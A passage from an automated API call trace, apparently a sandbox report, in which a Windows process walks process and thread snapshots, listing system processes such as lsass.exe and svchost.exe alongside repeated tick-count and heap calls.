th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.569] GetTickCount () returned 0x1134d94 [0118.569] GetCurrentThreadId () returned 0x614 [0118.569] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.569] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.569] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.570] GetTickCount () returned 0x1134d94 [0118.570] GetCurrentThreadId () returned 0x614 [0118.570] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.570] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.570] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.571] GetTickCount () returned 0x1134d94 [0118.571] GetCurrentThreadId () returned 0x614 [0118.571] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.571] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.571] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.572] GetTickCount () returned 0x1134d94 [0118.572] GetCurrentThreadId () returned 0x614 [0118.572] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.572] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.572] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.572] GetTickCount () returned 0x1134d94 [0118.573] GetCurrentThreadId () returned 0x614 [0118.573] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.573] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.573] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.573] GetTickCount () returned 0x1134d94 [0118.573] GetCurrentThreadId () returned 0x614 [0118.573] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.573] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.573] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.574] GetTickCount () returned 0x1134d94 [0118.574] GetCurrentThreadId () returned 0x614 [0118.574] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.574] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.574] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.575] GetTickCount () returned 0x1134d94 [0118.575] GetCurrentThreadId () returned 0x614 [0118.575] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.575] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.575] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.576] GetTickCount () returned 0x1134d94 [0118.576] GetCurrentThreadId () returned 0x614 [0118.576] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.576] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.576] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.577] GetTickCount () returned 0x1134d94 [0118.577] GetCurrentThreadId () returned 0x614 [0118.577] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.577] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.577] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.578] GetTickCount () returned 0x1134da4 [0118.578] GetCurrentThreadId () returned 0x614 [0118.578] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.578] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.578] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.579] GetTickCount () returned 0x1134da4 [0118.579] GetCurrentThreadId () returned 0x614 [0118.579] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.579] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.579] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.580] GetTickCount () returned 0x1134da4 [0118.580] GetCurrentThreadId () returned 0x614 [0118.580] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.580] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.580] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.581] GetTickCount () returned 0x1134da4 [0118.581] GetCurrentThreadId () returned 0x614 [0118.581] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.581] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.581] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x30c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.581] GetTickCount () returned 0x1134da4 [0118.581] GetCurrentThreadId () returned 0x614 [0118.581] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.581] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.582] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.582] GetTickCount () returned 0x1134da4 [0118.582] GetCurrentThreadId () returned 0x614 [0118.582] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.582] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.582] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.583] GetTickCount () returned 0x1134da4 [0118.583] GetCurrentThreadId () returned 0x614 [0118.583] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.583] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.583] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x37c, pcPriClassBase=13, dwFlags=0x0, szExeFile="2B74.TMP.EXE.exe")) returned 1 [0118.584] GetTickCount () returned 0x1134da4 [0118.584] GetCurrentThreadId () returned 0x614 [0118.584] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.584] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.584] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0118.585] GetTickCount () returned 0x1134da4 [0118.585] GetCurrentThreadId () returned 0x614 [0118.585] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.585] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.585] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.585] GetTickCount () returned 0x1134da4 [0118.585] GetCurrentThreadId () returned 0x614 [0118.585] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.585] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.585] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.586] GetTickCount () returned 0x1134da4 [0118.586] GetCurrentThreadId () returned 0x614 [0118.586] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.586] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.586] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.587] GetTickCount () returned 0x1134da4 [0118.587] GetCurrentThreadId () returned 0x614 [0118.587] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.587] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.587] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0118.588] GetTickCount () returned 0x1134da4 [0118.588] GetCurrentThreadId () returned 0x614 [0118.588] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.588] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.588] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x21c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0118.588] GetTickCount () returned 0x1134da4 [0118.588] GetCurrentThreadId () returned 0x614 [0118.588] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.588] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.589] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0118.589] GetTickCount () returned 0x1134da4 [0118.589] GetCurrentThreadId () returned 0x614 [0118.589] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.589] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.589] Process32Next (in: hSnapshot=0x62c, lppe=0x6a5f258 | out: lppe=0x6a5f258*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0118.590] GetTickCount () returned 0x1134da4 [0118.590] Thread32First (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.591] GetCurrentThreadId () returned 0x614 [0118.591] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.591] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.591] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.591] GetTickCount () returned 0x1134da4 [0118.591] GetCurrentThreadId () returned 0x614 [0118.591] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.591] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.591] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.592] GetTickCount () returned 0x1134da4 [0118.592] GetCurrentThreadId () returned 0x614 [0118.592] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.592] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.592] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.593] GetTickCount () returned 0x1134db3 [0118.593] GetCurrentThreadId () returned 0x614 [0118.593] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.593] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.593] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.594] GetTickCount () returned 0x1134db3 [0118.594] GetCurrentThreadId () returned 0x614 [0118.594] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.594] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.594] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.595] GetTickCount () returned 0x1134db3 [0118.595] GetCurrentThreadId () returned 0x614 [0118.595] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.595] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.595] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.596] GetTickCount () returned 0x1134db3 [0118.596] GetCurrentThreadId () returned 0x614 [0118.596] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.596] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.596] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.596] GetTickCount () returned 0x1134db3 [0118.596] GetCurrentThreadId () returned 0x614 [0118.596] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.596] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.597] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.597] GetTickCount () returned 0x1134db3 [0118.597] GetCurrentThreadId () returned 0x614 [0118.597] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.597] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.597] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.598] GetTickCount () returned 0x1134db3 [0118.598] GetCurrentThreadId () returned 0x614 [0118.598] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.598] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.598] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.599] GetTickCount () returned 0x1134db3 [0118.599] GetCurrentThreadId () returned 0x614 [0118.599] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.599] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.599] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.600] GetTickCount () returned 0x1134db3 [0118.600] GetCurrentThreadId () returned 0x614 [0118.600] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.600] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.600] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.601] GetTickCount () returned 0x1134db3 [0118.601] GetCurrentThreadId () returned 0x614 [0118.601] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.601] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.601] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.601] GetTickCount () returned 0x1134db3 [0118.601] GetCurrentThreadId () returned 0x614 [0118.601] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.601] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.601] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.602] GetTickCount () returned 0x1134db3 [0118.602] GetCurrentThreadId () returned 0x614 [0118.602] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.602] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.602] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.603] GetTickCount () returned 0x1134db3 [0118.603] GetCurrentThreadId () returned 0x614 [0118.603] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.603] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.603] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.604] GetTickCount () returned 0x1134db3 [0118.604] GetCurrentThreadId () returned 0x614 [0118.604] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.604] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.604] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.605] GetTickCount () returned 0x1134db3 [0118.605] GetCurrentThreadId () returned 0x614 [0118.605] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.605] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.605] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.605] GetTickCount () returned 0x1134db3 [0118.605] GetCurrentThreadId () returned 0x614 [0118.605] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.605] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.605] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.606] GetTickCount () returned 0x1134db3 [0118.606] GetCurrentThreadId () returned 0x614 [0118.606] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.606] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.606] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.607] GetTickCount () returned 0x1134db3 [0118.607] GetCurrentThreadId () returned 0x614 [0118.607] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.607] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.607] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.608] GetTickCount () returned 0x1134db3 [0118.608] GetCurrentThreadId () returned 0x614 [0118.608] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.608] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.608] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.608] GetTickCount () returned 0x1134db3 [0118.608] GetCurrentThreadId () returned 0x614 [0118.609] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.609] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.609] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.609] GetTickCount () returned 0x1134dc3 [0118.610] GetCurrentThreadId () returned 0x614 [0118.610] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.610] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.610] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.610] GetTickCount () returned 0x1134dc3 [0118.610] GetCurrentThreadId () returned 0x614 [0118.610] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.610] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.610] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.611] GetTickCount () returned 0x1134dc3 [0118.611] GetCurrentThreadId () returned 0x614 [0118.611] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.611] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.611] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.612] GetTickCount () returned 0x1134dc3 [0118.612] GetCurrentThreadId () returned 0x614 [0118.612] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.612] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.612] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.612] GetTickCount () returned 0x1134dc3 [0118.612] GetCurrentThreadId () returned 0x614 [0118.612] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.612] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3685f70 | out: hHeap=0x35b0000) returned 1 [0118.613] Thread32Next (hSnapshot=0x62c, lpte=0x6a5f434) returned 1 [0118.613] GetTickCount () returned 0x1134dc3 [0118.613] GetCurrentThreadId () returned 0x614 [0118.613] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x64) returned 0x3685f70 [0118.613] HeapFree (in: hHeap=0x35b0000, 